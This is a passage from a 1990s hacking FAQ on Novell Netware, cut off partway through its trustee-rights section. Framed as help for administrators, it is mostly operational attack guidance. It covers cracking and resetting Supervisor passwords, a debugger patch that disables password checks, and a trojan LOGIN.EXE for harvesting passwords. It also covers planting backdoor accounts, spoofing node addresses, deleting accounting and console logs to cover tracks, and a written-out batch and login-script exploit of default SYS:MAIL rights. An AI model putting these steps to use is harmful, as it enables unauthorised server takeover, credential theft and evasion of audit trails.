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From the Nomad Mobile Research Centre:
Frequently Asked Questions
"Hacking Novell Netware"
Beta Version 1
Compiled by Simple Nomad
Contributions (and thanks to):
The LAN God mark_motley@candle.com
Teiwaz teiwaz@wolfe.net
Also thanks to Fauzan and BioHazard
And many, many others who requested anonymity or didn't realize they were
contributing ;-)
Tech Support (and special thanks to):
itsme - infamous Netware Netherlands hack fame
Coming in the future to this FAQ - Netware API info!!
---------------------------------------------------------------------------
---------------------------------------------------------------------------
Contents
---------------------------------------------------------------------------
Section 00
General Info
00-1. What is this "FAQ" for?
00-2. What is the origin of this FAQ and how do I add to it?
00-3. Is this FAQ available by anonymous FTP?
---------------------------------------------------------------------------
Section 01
Getting Access to Accounts
01-1. How do I access the password file in Novell Netware?
01-2. How do I crack Novell Netware passwords?
01-3. What are common accounts and passwords in Novell Netware?
01-4. How can I figure out valid account names on Novell Netware?
01-5. What is the "secret" method to gain Supervisor access Novell used to teach
in CNE classes?
01-6. What is the cheesy way to get Supervisor access?
01-7. How do I leave a backdoor?
01-8. Can sniffing packets help me break in?
01-9. What is Packet Signature and how do I get around it?
01-10. How do I use SETPWD.NLM?
01-11. What's the "debug" way to disable passwords?
---------------------------------------------------------------------------
Section 02
Other Security Items
02-1. What is Accounting?
02-2. How do I defeat Accounting?
02-3. What is Intruder Detection?
02-4. What are station/time restrictions?
02-5. How do I spoof my node or IP address?
02-6. How do I defeat console logging?
---------------------------------------------------------------------------
Section 03
File and Directory Access
03-1. How can I see hidden files and directories?
03-2. How do I defeat the execute-only flag?
03-3. How can I hide my presence after altering files?
03-4. What is a Netware-aware trojan?
03-5. What are Trustee Directory Assignments?
03-6. Are there any default Trustee Assignments that can be exploited?
---------------------------------------------------------------------------
Section 04
Miscellaneous Info on Netware
04-1. Why can't I get through the 3.x server to another network via TCP/IP?
04-2. How can I boot my server without running STARTUP.NCF/AUTOEXEC.NCF?
04-3. How can I login without running the System Login Script?
04-4. How do I remotely reboot a Netware 3.x file server?
04-5. How can I abend a Netware server? And why?
04-6. What is interesting about Netware 4.x's licensing?
---------------------------------------------------------------------------
Section 05
Resources
05-1. What are some Netware FTP locations?
05-2. Can I get files without FTP?
05-3. What are some Netware WWW locations?
05-4. What printed material might be helpful?
05-5. Where can I get the files mentioned in this FAQ?
05-6. What are some good books for Netware?
---------------------------------------------------------------------------
Section 06
Netware APIs
06-1. Where can I get the Netware APIs?
---------------------------------------------------------------------------
Section 07
For Administrators Only
07-1. How do I secure my server?
07-2. I'm an idiot. Exactly how do hackers get in?
---------------------------------------------------------------------------
---------------------------------------------------------------------------
Section 00
General Info
---------------------------------------------------------------------------
00-1. What is this "FAQ" for?
This FAQ contains information about hacking Novell Netware. It is intented to
show what and how regarding hacking on Netware, and by illustrating this in
explicit detail show how sys admins can improve security and prevent break-ins.
Most of the information in this FAQ was compiled and collected from various
sources freely available on the Internet. In fact, most of the information here
is OLD info for serious Netware hackers. Some of the info was collected from
these serious Netware hackers, and still more was collected from "tiger team"
security sweeps that I have been involved in.
You will also find hints and generally good ideas for improving and/or expanding
an existing system. This FAQ is a good reference for sys admins as well as
hackers.
---------------------------------------------------------------------------
00-2. What is the origin of this FAQ and how do I add to it?
Send comments about info in this FAQ to thegnome@fastlane.net. Simple flames
about typos, the "that's not right" one liners will be ignored. If you wish to
contribute corrections please include your research and source of facts. Also
if you wish to add your information, I will include it if I can include your
email address, unless I can verify the info independently. This way if someone
has questions, they can bug you, not me.
---------------------------------------------------------------------------
00-3. Is this FAQ available by anonymous FTP or WWW?
Look for it in jumper.mcc.ac.uk in the /pub/security/netware directory, or
(very soon) at http://resudox.net/bio/mainpage.html.
---------------------------------------------------------------------------
---------------------------------------------------------------------------
Section 01
Getting Access to Accounts
---------------------------------------------------------------------------
01-1. How do I access the password file in Novell Netware?
Contrary to not-so-popular belief, access to the password file in Netware is
not like Unix - the password file isn't in the open. All objects and their
properties are kept in the bindery files on 2.x and 3.x, and kept in the NDS
database in 4.x. An example of an object might be a printer, a group, an
individual's account etc. An example of an object's properties might include
an account's password or full user name, or a group's member list or full
name. The bindery files attributes (or flags) in 2.x and 3.x are Hidden
and System, and these files are located on the SYS: volume in the SYSTEM
subdirectory. Their names are as follows:
Netware version File Names
--------------- ----------
2.x NET$BIND.SYS, NET$BVAL.SYS
3.x NET$OBJ.SYS, NET$PROP.SYS, NET$VAL.SYS
The NET$BVAL.SYS and NET$VAL.SYS are where the passwords are actually located
in 2.x and 3.x respectively.
In Netware 4.x, the files are physically located in a different location than
on the SYS: volume. However, by using the RCONSOLE utility and using the
Scan Directory option, you can see the files in SYS:_NETWARE:
File What it is
-------------- --------------------------
VALUE.NDS Part of NDS
BLOCK.NDS Part of NDS
ENTRY.NDS Part of NDS
PARTITIO.NDS Type of NDS partition (replica, master, etc.)
MLS.000 License
VALLINCEN.DAT License validation
Here is another way to view these files, and potentially edit them. After
installing NW4 on a NW3 volume, reboot the server with a 3.x SERVER.EXE. On
volume SYS will be the _NETWARE directory. SYS:_NETWARE is hidden better on
4.1 than 4.0x, but in 4.1 you can still see the files by scanning directory
entry numbers using NCP calls (you need the APIs for this) using function
0x17 subfunction 0xF3.
---------------------------------------------------------------------------
01-2. How do I crack Novell Netware passwords?
There are a few ways to approach this. First, we'll assume Intruder Detection
is turned off. We'll also assume unencrypted passwords are allowed. Hopefully
you won't have to deal with packet signature (see 01-9 below) Then we'll assume
you have access to the console. Finally we'll assume you can plant some kind of
password catcher. Access to a sniffer might help. These are a lot of ifs.
If Intruder Detection is off, you can just guess the password until you get
it. This can be automated by writing a program that continually guesses
passwords, or by using a program that does just that. One program that I am
aware of is NOVELBFH.EXE (for version 3.x only). This program will try passwords
like aa, ab, ac and so on until every legal character combination has been tried.
You will eventually get the password. However this assumes you have 1) a lot of
time since it takes a second or two for each try (more on a dial-up link), and
2) access to a machine that will run one of these programs for hours, even days.
And if Intruder Detection is on you will be beeping the System Console every
couple of seconds and time-stamping your node address to the File Server Error
Log.
Encrypted passwords is Novell's way of protecting passwords from sniffers.
Since older versions of Netware (2.15c) sent passwords as plain text over the
wire, a sniffer could see the password as it went by. To secure things,
Novell gave the administrator a way to control this. Later versions of the
LOGIN.EXE program would encrypt the password before transmitting it across
the wire to the server. But before this could happen, the shell (NETX) had
to be updated. Since some locations had to have older shells and older
versions of LOGIN.EXE to support older equipment, the administrator has the
option of allowing unencrypted passwords to access the server. This is done
by typing SET ALLOW UNENCRYPTED PASSWORDS=ON at the console or by adding it
to the AUTOEXEC.NCF. The default is OFF, which means NOVELBFH could be beeping
the server console every attempt! Fortunately most sites turn this switch on to
support some old device.
If you have access to the console, either by standing in front of it or by
RCONSOLE, you can use SETSPASS.NLM, SETSPWD.NLM or SETPWD.NLM to reset passwords.
Just load the NLM and pass it command line parameters:
NLM Account(s) reset Netware version(s) supported
------------ ----------------- ----------------------------
SETSPASS.NLM SUPERVISOR 3.x
SETSPWD.NLM SUPERVISOR 3.x, 4.x
SETPWD.NLM any valid account 3.x, 4.x
See 01-10 for more SETPWD.NLM info.
If you can plant a password catcher or keystroke reader, you can get them
this way. The LOGIN.EXE file is located in the SYS:LOGIN directory, and
normally you will not have access to put a file in that directory. The best
place to put a keystroke capture program is in the workstation's path, with
the ATTRIB set as hidden. The advantage is that you'll get the password and
Netware won't know you swiped it. The disadvantage is getting access to the
machine to do this. The very best place to put one of these capture programs
is on a common machine, like a pcAnywhere box, which is used for remote access.
Many locations will allow pcAnywhere access to a machine with virtually no
software on it, and control security access to the LAN by using Netware's
security features. Uploading a keystroke capture program to a machine like
this defeats this.
If the system is being backed up via a workstation, this can be used as a
good entry point. These workstations have to have supe equiv to back up the
bindery and other system files. If you can access this workstation or use
the backup systems user account name then you can get supe level login.
itsme, the notorious Netherlands Netware hacker, developed KNOCK.EXE by
rewriting one byte of ATTACH.EXE to try without a password to get into a
server. KNOCK.EXE utilitzes a bug that allows a non-password attach to get
in. This works on versions of Netware earlier than 2.2, and 3.11. Later
versions have the bug fixed. Given enough time you will get in.
Another alternative is the replacement LOGIN.EXE by itsme. This jewel,
coupled with PROP.EXE, will create a separate property in the bindery on a
2.x or 3.x server that contains the passwords. Here is the steps to use
these powerful tools:
- Gain access to a workstation logged in as Supervisor or equivalent (or
use another technique described elsewhere for getting this type of access)
- Run the PROP.EXE file with a -C option. This creates the new property for
each bindery object. Remember, you must be a Supe for this step.
- Replace the LOGIN.EXE in the SYS:LOGIN directory with itsme's. Be sure
to flag it SRO once replaced.
- Now it is set. Keep PROP.EXE on a floppy, and check the server with any
valid login, Supervisor or not, after a week or two.
- To check the passwords captured, type PROP -R after your logged in. You
can redirect it to a file or printer. A list of accounts and passwords,
valid and working, are yours.
- Don't forget to hide your presence! See section 03-3 for details.
---------------------------------------------------------------------------
01-3. What are common accounts and passwords in Novell Netware?
Out of the box Novell Netware has the following default accounts -
SUPERVISOR, GUEST, and Netware 4.x has ADMIN and USER_TEMPLATE as well. All
of these have no password to start with. Virtually every installer quickly
gives SUPERVISOR and ADMIN a password. However, many locations will create
special purpose accounts that have easy-to-guess names, some with no
passwords. Here are a few and their typical purposes:
Account Purpose
---------- ------------------------------------------------------
PRINT Attaching to a second server for printing
LASER Attaching to a second server for printing
HPLASER Attaching to a second server for printing
PRINTER Attaching to a second server for printing
LASERWRITER Attaching to a second server for printing
POST Attaching to a second server for email
MAIL Attaching to a second server for email
GATEWAY Attaching a gateway machine to the server
GATE Attaching a gateway machine to the server
ROUTER Attaching an email router to the server
BACKUP May have password/station restrictions (see below), used
for backing up the server to a tape unit attached to a
workstation. For complete backups, Supervisor equivalence
is required.
WANGTEK See BACKUP
FAX Attaching a dedicated fax modem unit to the network
FAXUSER Attaching a dedicated fax modem unit to the network
FAXWORKS Attaching a dedicated fax modem unit to the network
TEST A test user account for temp use
This should give you an idea of accounts to try if you have access to a
machine that attaches to the server. A way to "hide" yourself is to give
GUEST or USER_TEMPLATE a password. Occassionally admins will check up on
GUEST, but most forget about USER_TEMPLATE. In fact, _I_ forgot about
USER_TEMPLATE until itsme reminded me.
A common mistake regarding RCONSOLE passwords is to use a switch to use
only the Supervisor password. It works like this:
LOAD REMOTE /P=
instead of
LOAD REMOTE RCONPASSWORD
The admin believes /P= turns off everything except the Supe password for
RCONSOLE. In fact the password is just set to /P= which will get you in!
The second most common mistake is using -S.
---------------------------------------------------------------------------
01-4. How can I figure out valid account names on Novell Netware?
Any limited account should have enough access to allow you to run SYSCON,
located in the SYS:PUBLIC directory. If you get in, type SYSCON and enter.
Now go to User Information and you will see a list of all defined accounts.
You will not get much info with a limited account, but you can get the
account and the user's full name.
If your in with any valid account, you can run USERLST.EXE and get a list
of all valid account names on the server.
If you don't have access (maybe the sys admin deleted the GUEST account,
a fairly common practice), you can't just try any account name at the LOGIN
prompt. It will ask you for a password whether the account name is valid or
not, and if it is valid and you guees the wrong password, you could be
letting the world know what you're up to if Intruder Detection is on. But
there is a way to determine if an account is valid.
From a DOS prompt use a local copy (on your handy floppy you carry
everywhere) of MAP.EXE. After you've loaded the Netware TSRs up through
NETX or VLM, Try to map a drive using the server name and volume SYS:.
For example:
MAP G:=TARGET_SERVER/SYS:APPS <enter>
Since you are not logged in, you will be prompted for a login ID. If it
is a valid ID, you will be prompted for a password. If not, you will
immediately receive an error. Of course, if there is no password for the
ID you use you will be attached and mapped to the server. You can do the
same thing with ATTACH.EXE:
ATTACH TARGET_SERVER/loginidtotry <enter>
The same thing will happen as the MAP command. If valid, you will be
prompted for a password. If not, you get an error.
Another program to check for valid users and the presence of a password is
CHKNULL.EXE by itsme. This program checks for users and whether they have
a password assigned.
---------------------------------------------------------------------------
01-5. What is the "secret" method to gain Supervisor access Novell used to teach
in CNE classes?
Before I start this section, let me recommend another solution, my God, ANY
other solution is better than this! If you are running 3.x, jump to the end of
this section.
The secret method is the method of using a DOS-based sector editor to edit the
entry in the FAT, and reset the bindery to default upon server reboot. This gives
you Supervisor and Guest with no passwords. The method was taught in case you
lost Supervisor on a Netware 2.15 server and you had no supe equivalent accounts
created. It also saves the server from a wipe and reboot in case the Supervisor account is corrupt, deleted, or trashed.
While you get a variety of answers from Novell about this technique, from it
doesn't work to it is technically impossible, truth be it it can be done. Here
are the steps, as quoted from comp.os.netware.security, with my comments in
[brackets]:
[start of quote]
A Netware Server is supposed to be a very safe place to keep your files. Only
people with the right password will have access to the data stored there. The
Supervisor (or Admin) user's password is usually the most well kept secret in
the company, since anyone that has that code could simply log to the server and
do anything he/she wants.
But what happens if this password is lost and there's no user that is
security-equivalent to the supervisor? [Use SETPWD.NLM, instead of this process,
see 01-10 below - S.N.] What happens if the password system is somehow damaged
and no one can log to the network? According to the manual, there's simply no
way out. You would have to reinstall the server and try to find your most recent
backup.
Fortunately, there is a very interesting way to gain complete access to a Netware
server without knowing the Supervisor's (or Admin's) password. You may imagine
that you would have to learn complex decryption techniques or even type in a long
C program, but that's not the case. The trick is so simple and generic that it
will work the same way for Netware 2.x, 3.x and 4.x.
The idea is to fool Netware to think that you have just installed the server and
that no security system has been estabilished yet. Just after a Netware 2.x or
3.x server is installed, the Supervisor's password is null and you can log in
with no restriction. Netware 4.x works slightly differently, but it also allows
anyone to log in after the initial installation, since the installer is asked to
enter a password for the Admin user.
But how can you make the server think it has just been installed without
actually reinstalling the server and losing all data on the disk? Simple. You
just delete the files that contain the security system. In Netware 2.x, all
security information is stored in two files (NET$BIND.SYS and NET$BVAL.SYS).
Netware 3.x stores that information in three files (NET$OBJ.SYS, NET$VAL.SYS and
NET$PROP.SYS). The all new Netware 4.x system stores all login names and
passwords in five different files (PARTITIO.NDS, BLOCK.NDS, ENTRY.NDS, VALUE.NDS
and UNINSTAL.NDS [This last file may not be there, don't worry - S.N.]).
One last question remains. How can we delete these files if we don't have access
to the network, anyway? The answer is, again, simple. Altough the people from
Novell did a very good job encrypting passwords, they let all directory
information easy to find and change if you can access the server's disk directly,
using common utilities like Norton's Disk Edit. Using this utility as an example,
I'll give a step-by-step procedure to make these files vanish. All you need is a
bootable DOS disk, Norton Utilities' Emergency Disk containing the DiskEdit
program and some time near the server.
1. Boot the server and go to the DOS prompt. To do this, just let the network
boot normally and then use the DOWN and EXIT commands. This procedure does not
work on old Netware 2.x servers and in some installations where DOS has been
removed from memory. In those cases, you'll have to use a DOS bootable disk.
2. Run Norton's DiskEdit utility from drive A:
3. Select "Tools" in the main menu and then select "Configuration". At the
configuration window, uncheck the "Read-Only" checkbox. And be very careful with
everything you type after this point.
4. Select "Object" and then "Drive". At the window, select the C: drive and make
sure you check the button "physical drive". After that, you'll be looking at your
physical disk and you be able to see (and change) everything on it.
5. Select "Tools" and then "Find". Here, you'll enter the name of the file you
are trying to find. Use "NET$BIND" for Netware 2, "NET$PROP.SYS" for Netware 3 and "PARTITIO.NDS" for Netware 4. It is possible that you find these strings in a
place that is not the Netware directory. If the file names are not all near each
other and proportionaly separated by some unreadable codes (at least 32 bytes
between them), then you it's not the place we are looking for. In that case,
you'll have to keep searching by selecting "Tools" and then "Find again". [In
Netware 3.x, you can change all occurences of the bindery files and it should
still work okay, I've done it before. - S.N.]
6. You found the directory and you are ready to change it. Instead of deleting
the files, you'll be renaming them. This will avoid problems with the directory
structure (like lost FAT chains). Just type "OLD" over the existing "SYS" or
"NDS" extension. Be extremely careful and don't change anything else.
7. Select "Tools" and then "Find again". Since Netware store the directory
information in two different places, you have to find the other copy and change
it the same way. This will again prevent directory structure problems.
8. Exit Norton Disk Edit and boot the server again. If you're running Netware 2
or 3, your server would be already accessible. Just go to any station and log in
as user Supervisor. No password will be asked. If you're running Netware 4, there
is one last step.
9. Load Netware 4 install utility (just type LOAD INSTALL at the console prompt)
and select the options to install the Directory Services. You be prompted for the
Admin password while doing this. After that, you may go to any station and log in
as user Admin, using the password that you have selected.
What I did with Norton's Disk Edit could be done with any disk editing utility
with a "Search" feature. This trick has helped me save many network supervisors
in the last years. I would just like to remind you that no one should break into
a netware server unless authorized to do it by the company that owns the server.
But you problably know that already.
[end of quote]
I actually had this typed up but kept changing it, so I stole this quote from
the newsgroup to save me retyping ;-)
Now the quicky for 3.x users. Use LASTHOPE.NLM, which renames the bindery and
downs the server. Reboot and you have Supe and Guest, no password.
---------------------------------------------------------------------------
01-6. What is the cheesy way to get Supervisor access?
The cheesy way is the way that will get you in, but it will be obvious to the
server's admin that the server has been compromised. This technique works for
3.11.
Using NW-HACK.EXE, if the Supervisor is logged in NW-HACK does the following
things. 1) The Supervisor password is changed to SUPER_HACKER, 2) every account
on the server is made a supe equivalent, and 3) the sys admin is going to know
very quickly something is wrong. What the admin will do is remove the supe rights
from all accounts that are not supposed to have it and change the Supervisor
password back. The only thing you can do is leave a backdoor for yourself (see
next question).
---------------------------------------------------------------------------
01-7. How do I leave a backdoor?
Once you are in, you want to leave a way back with supe equivalency. You can use
SUPER.EXE, written for the express purpose of allowing the non-supe user to
toggle on and off supe equivalency. If you use the cheesy way in (previous
question), you turn on the toggle before the admin removes your supe
equivalency. If you gain access to a supe equivalent account, give Guest supe
equivalency and then login as Guest and toggle it on. Now get back in as the
original supe account and remove the supe equivalency. Now Guest can toggle on
supe equivalency whenever it's convenient.
Of course Guest doesn't have to be used, it could be another account, like an
account used for e-mail administration or an e-mail router, a gateway's account,
you get the idea.
Now SUPER.EXE is not completely clean. Running the Security utility or Bindfix
will give away that an account has been altered at the bindery level, but the
only way for an admin to clear the error is to delete and rebuild the account.
Another backdoor is outlined in section 01-2 regarding the replacement LOGIN.EXE
and PROP.EXE
---------------------------------------------------------------------------
01-8. Can sniffing packets help me break in?
Yes. If a user is logging in and the password is being transmitted to the server
unencrypted, it will show up as plain text in the trace. If the site uses telnet
and ftp, capturing those password will come in handy. Outside of gaining access
to another system, many users will make their passwords the same across all
systems.
For a list of DOS-based sniffers, see the alt.2600/#hack FAQ. I personally
prefer the Network General Sniffer ;-)
You can use a brute force cracker on captured encrypted passwords. As I have
more tools and details, I will provide them here.
---------------------------------------------------------------------------
01-9. What is Packet Signature and how do I get around it?
Packet signatures works by using an intermediate step during the encrypted
password login call, to calculate a 64-bit signature. This block is never
transmitted over the wire, but it is used as the basis for a
cryptographically strong signature ("secure hash") on the most important
part of each NCP packet exchange.
A signed packet can indeed be taken as proof sufficient that the packet came
from the claimed PC.
NCP Packet Signature is Novell's answer to the work of the folks in the
Netherlands in hacking Netware. The idea behind it is to prevent forged
packets and unauthorized Supervisor access. It is an add-on option in 3.11,
but a part of the system with 3.12 and 4.x. Here are the signature levels
at the client and server:
Packet Signature Option and meaning:
0 = Don't do packet signatures
1 = Do packet signatures if required
2 = Do packet signatures if you can but don't if the other end doesn't support
them
3 = Require packet signatures
You can set the same settings at the workstation server. The default for packet
signatures is 2 at the server and client. If you wish to use a tool like
HACK.EXE, try setting the signature level at 0 on the client by adding
Signature Level=0 in the client's NET.CFG. If packet signatures are required
at the server you won't even get logged in, but if you get logged in, hack away.
If you wish to change the signature level at the server, use a set command at
the server console:
SET NCP PACKET SIGNATURE OPTION=2
---------------------------------------------------------------------------
01-10. How do I use SETPWD.NLM?
You can load SETPWD at the console or via RCONSOLE. If you use RCONSOLE, use
the Transfer Files To Server option and put the file in SYS:SYSTEM.
For 3.x:
LOAD [path if not in SYS:SYSTEM]SETPWD [username] [newpassword]
For 4.x:
set bindery context = [context, e.g. hack.corp.us]
LOAD [path if not in SYS:SYSTEM]SETPWD [username] [newpassword]
In 4.x the change is replicated so you have access to all the other servers
in the tree. And don't forget, you must follow the password requirements in
SYSCON for this to work. That is, if the account you are changing normally
requires a 6 character password, then you'll need to supply a 6 character
password.
---------------------------------------------------------------------------
01-11. What's the "debug" way to disable passwords?
You must be at the console to do this:
<left-shift><right-shift><alt><esc> Enters debugger
type "c VerifyPassword=B8 0 0 0 0 C3"
type "g"
This disables the password checking. Now Supe won't ask for a password. To
restore password checking from debugger, do this:
first type "d VerifyPassword 5" and write down the 5 byte response,
then type "c VerifyPassword=xx xx xx xx xx"
then type "g"
---------------------------------------------------------------------------
---------------------------------------------------------------------------
Section 02
Other Security Items
---------------------------------------------------------------------------
02-1. What is Accounting?
Accounting is Novell's pain in the butt way to control and manage access to
the server in a way that is "accountable". The admin set up charge rates for
blocks read and written, service requests, connect time, and disk storage.
The account "pays" for the service by being given some number, and the
accounting server deduces for these items. How the account actually pays
for these items (departmental billing, cash, whatever) you may or may not
want to know about, but the fact that it could be installed could leave a
footprint that you've been there.
Any valid account, including non-supe accounts, can check to see if
Accounting is turned on. Simply run SYSCON and try to access Accounting,
if you get a message that Accounting is not installed, then guess what?
Since it is a pain to administer, many sys admins will turn it on simply
to time-stamp each login and logout, track intruders, and include the
node address and account name of each of these items.
---------------------------------------------------------------------------
02-2. How do I defeat Accounting?
Turn it off. And spoof your node address. Here's the steps -
- Spoof your address (see below). Use a supe account's typical node
address as your own.
- If you are using a backdoor, activate it with SUPER.EXE.
- Delete Accounting by running SYSCON, selecting Accounting, Accounting
Servers, hitting the delete key, and answering yes when asked if you
wish to delete accounting. The last entry in the NET$ACCT.DAT file will
be your login time-stamped with the spoofed node address.
- Now do what you will in the system. Use a different account if you
like, it won't show up in the log file.
- When done, login with the original account, run SYSCON and
re-install Accounting. Immediately logout, and the next line in the
NET$ACCT.DAT file will be your logout, showing a login and logout
with the same account name, nice and neat.
If you can't spoof the address (some LAN cards don't allow it or require
extra drivers you may not have), just turn off Accounting and leave it
off or delete the NET$ACCT.DAT file located in the SYS:SYSTEM
directory.
It should be noted that to turn off and on Accounting you need supe
equivalent, but you don't need supe equivalence to spoof the address.
---------------------------------------------------------------------------
02-3. What is Intruder Detection?
Intruder Detection is Novell's way of tracking invalid password attempts. While
this feature is turned off by default, most sites practicing any type of security
will at minimum turn this feature on. There are several parameters to Intruder
Detection. First, there is a setting for how long the server will remember a bad
password attempt. Typically this is set to 30 minutes, but can be as short as 10
minutes of as long as 7 days. Then there is a setting for how many attempts will
lockout the account. This is usually 3 attempts, but can be as short as 1 or as
many as 7. Finally is the length the account is locked out. The default is 30
minutes but it can range from 10 minutes to 7 days.
When an Intruder Detection occurs, the server beeps and a time-stamped message is
displayed on the System Console with the account name that is now locked out and
the node address from where to attempt came from. This is also written to the
File Server Error Log. A Supervisor or equivalent can unlock the account before
it frees itself up, and the File Server Error Log can also be erased by a
Supervisor or equivalent.
In a large shop, it is not unusual to see Intruder Lockouts even on a daily
basis, and forgetting a password is a typical regular-user thing to do. Intruder
Lockouts on Supervisor or equivalent account is usually noticed.
---------------------------------------------------------------------------
02-4. What are station/time restrictions?
Time restrictions can be placed on an account to limit the times in which
an account can be logged in. In the account is already logged in and the
time changes to a restricted time, the account is logged out. The
restriction can be per weekday down to the half hour. That means that if
an admin wants to restrict an account from logging in except on Monday
through Friday from 8-5, it can be done. Only Supervisor and equivalents
can alter time restrictions. Altering the time at the workstation will
not get you around time restrictions, only altering time at the server
can change the ability to access.
Station restriction place a restriction on _where_ an account can be used.
Restrictions can be to a specific token ring or ethernet segment, and can
be specific down to the MAC layer address, or node address. The only way
around a station restriction at the node address is to spoof the address
from a workstation on the same segment or ring as the address you are
spoofing. Like time restrictions, only Supervisor and equivalents
can alter station restrictions.
---------------------------------------------------------------------------
02-5. How do I spoof my node or IP address?
This will depend greatly on what kind of network interface card (NIC) the
workstation has, as to whether you can perform this function. Typically you
can do it in the Link Driver section of the NET.CFG file by adding the
following line - NODE ADDRESS xxxxxxxxxxxx where xxxxxxxxxxxx is the 12
digit MAC layer address. This assumes you are using Netware's ODI drivers,
if you are using NDIS drivers you will have to add the line to a
PROTOCOL.INI or IBMENII.NIF file, which usually has the lines already in it.
For an IP address, you may have to run a TCPIP config program to make it
work (it depends on whose IP stack you are running). Some implementations
will have the mask, the default router and the IP address in the NET.CFG,
some in the TCPIP.CFG. It is a good idea to look around in all network-
related subdirectories to see if there are any .CFG, .INI, or .NIF files
that may contain addresses.
Getting the target node address should be pretty easy. Login with any
account and do a USERLIST /A. This will list all accounts currently logged
in with their network and node address. If your workstation is on the same
network as the target, you can spoof the address no problem. Actually you
can spoof the address regardless but to defeat station restrictions you
must be on the same network.
---------------------------------------------------------------------------
02-6. How do I defeat console logging?
Here you need console and Supervisor access. The site is running 3.11 or
higher and running the CONLOG.NLM. Any site running this is trapping all
console messages to a file. If you run SETPWD at the console, the response
by SETPWD is written to a log file. Here's the steps for determining if it
is running and what to do to defeat it:
- Type MODULES at the console. Look for the CONLOG.NLM. If it's there, it's
running.
- Look on the server in SYS:ETC for a file called CONSOLE.LOG. This is a
plain text file that you can type out. However you cannot delete or edit it
while CONLOG is running.
- Unload CONLOG at the console.
- Delete, or even better yet, edit the CONSOLE.LOG file, erasing your tracks.
- Reload CONLOG. It will show that is has been restarted in the log.
- Check the CONSOLE.LOG file to ensure the owner has not changed.
- Run PURGE in the SYS:ETC directory to purge old versions of CONSOLE.LOG
that your editor have left to be salvaged.
---------------------------------------------------------------------------
---------------------------------------------------------------------------
Section 03
File and Directory Access
---------------------------------------------------------------------------
03-1. How can I see hidden files and directories?
Instead of a normal DIR command, use NDIR to see hidden files and
directories. NDIR *.* /S /H will show you just Hidden and System files.
---------------------------------------------------------------------------
03-2. How do I defeat the execute-only flag?
If a file is flagged as execute-only, it can still be opened. Open the file
with a program that will read in executables, and do a Save As to another
location.
Also try X-AWAY.EXE to remove this flag since Novell's FLAG.EXE won't. But
once again X-AWAY.EXE requires Supervisor access.
---------------------------------------------------------------------------
03-3. How can I hide my presence after altering files?
The best way is to use Filer. Here are the steps for removing file
alterations -
- Run Filer or use NDIR and note the attributes of the target file, namely
the date and owner of the file.
- Make your changes or access the file.
- Run Filer or use NDIR and check to see if the attributes have changed. If
so, change them back to the original settings.
While you can hit F1 will in Filer and get all the context-sensitive help
you need, the quicky way to get where you're going is to run Filer in the
target file's directory, select Directory Contents, highlight the target
file and hit enter, select File Options and then View/Set File Information.
View and edit to your heart's desire.
---------------------------------------------------------------------------
03-4. What is a Netware-aware trojan?
A Netware-aware trojan is a program that supposedly does one thing but does
another instead, and does it using Netware API calls. I have never personally
encountered one, but here is how they would work.
- Trojan program is placed on a workstation, hopefully on one frequented
by admins with Supe rights. The trojan program could be named something like
CHKVOL.COM or VOLINFO.COM, that is a real name but with a .COM extension.
They would be placed in the workstation's path.
- Once executed, the trojan uses API calls to determine if the person is
logged in as a Supe equivalent, if not it goes to the next step. Otherwise
some type of action to breach security is performed.
- The real CHKVOL.EXE or VOLINFO.EXE is ran.
The breach of security would typically be some type of command-line activity
that could be performed by system() calls. For example, PROP.EXE could be
run to build a property and the replacement LOGIN.EXE copied up to the
server in the SYS:LOGIN directory. Or RW access granted to the SYS:SYSTEM
directory for a non-Supe user like GUEST.
Once activated the trojan could also erase itself since it is no longer
needed.
---------------------------------------------------------------------------
03-5. What are Trustee Directory Assignments?
The LAN God has pointed out quite correctly that Trustee Directory Assignments
are the most misunderstood and misconfigured portion of Novell Netware. Typically
a secure site should have Read and File Scan only in most directories, and
should not have any rights on the root directory of any volume. Rights assigned
via the Trustee Directory Assignments filter down the directory tree, so if a
user has Write access at the root directory, that user has Write access in every
subdirectory below it (unless explicitly limited in a subdirectory down stream).
And these assignments are not located in the bindery, but on each volume.
The following is a brief description of Trustees and Trustee Directory
Assignments cut and pasted from the unofficial comp.os.netware.security FAQ:
[quote]
A trustee is any user or group that has been granted access rights in a
directory.
The access rights in Novell NetWare 2 are slightly different from the ones in
NetWare 3.
The following is a summary of access rights for NetWare 3.
S - Supervisory. Any user with supervisory rights in a directory will
automatically inherit all other rights, regardless of whether they have been
explicitly granted or not. Supervisor equivalent accounts will hold this access
right in every directory.
R - Read. Enables users to read files.
C - Create. Enables users to create files and directories. Unless they also have
write access, they will not be able to edit files which have been created.
W - Write. Enables users to make changes to files. Unless they also have create
access, they may not be able to edit files, since the write operation can only be
used to extend files (not truncate them, which file editors need to do).
E - Erase. Enable users to erase files and remove directories.
M - Modify. Enable users to modify file attributes.
F - File scan. Enables users to see file and directory information. If a user
does not have file scan rights, they will not see any evidence of such files
existing.
A - Access control. Enable user to change trustee rights. They will be able to
add other users as trustees, remove trustees, and grant/revoke specific rights
from users. The only caveat of access control is that it is possible for users to
remove themselves (as trustees) from directories, thus losing all access control.
In addition to trustees and access rights, there is a concept of inherited rights
which means that users inherit rights from parent directories. For example, if
user ALICE has rights [CWEM] in a directory, and she has [RF] rights in the
parent directory then she will have [RCWEMF] rights as a result of the inherited
rights. This will only work if one of the rights that ALICE has in the two
directories is granted to a group; if both are granted to her, she will lose the
rights of the parent.
[end quote]
---------------------------------------------------------------------------
03-6. Are there any default Trustee Assignments that can be exploited?
Yes. By default the group EVERYONE has Create rights in SYS:MAIL. This
means the user (including GUEST) has the ability to write files to any
subdirectory in SYS:MAIL. The first versions of Netware included a simple
e-mail package, and every user that is created gets a subdirectory in
mail with RCWEMF, named after their object ID number. One consistent
number is the number 1, which is always assigned to Supervisor. Here's
one way to exploit it:
- Login as GUEST and change to the SYS:MAIL subdirectory.
- Type DIR. You will see one subdirectory, the one owned by GUEST. Change
into that directory (ex. here is C0003043)
- Type DIR. If there is no file named LOGIN, you can bet there may not be
one for Supervisor. If there is a default-looking LOGIN file, even a zero
length file, you cannot proceed.
- Copy PROP.EXE and LOGIN.EXE (the itsme version) to SYS:MAIL\C0003043
- Create a batch file (ex. here is BOMB.BAT) with the following entries:
@ECHO OFF
FLAG \LOGIN\LOGIN.EXE N > NUL
COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL
FLAG \LOGIN\LOGIN.EXE SRO > NUL
\MAIL\C0003043\PROP -C > NUL
- Create a LOGIN file with the following entries:
MAP DISPLAY OFF
MAP ERRORS OFF
MAP G:=SYS:
DRIVE G:
COMMAND /C #\MAIL\1\BOMB
DRIVE F:
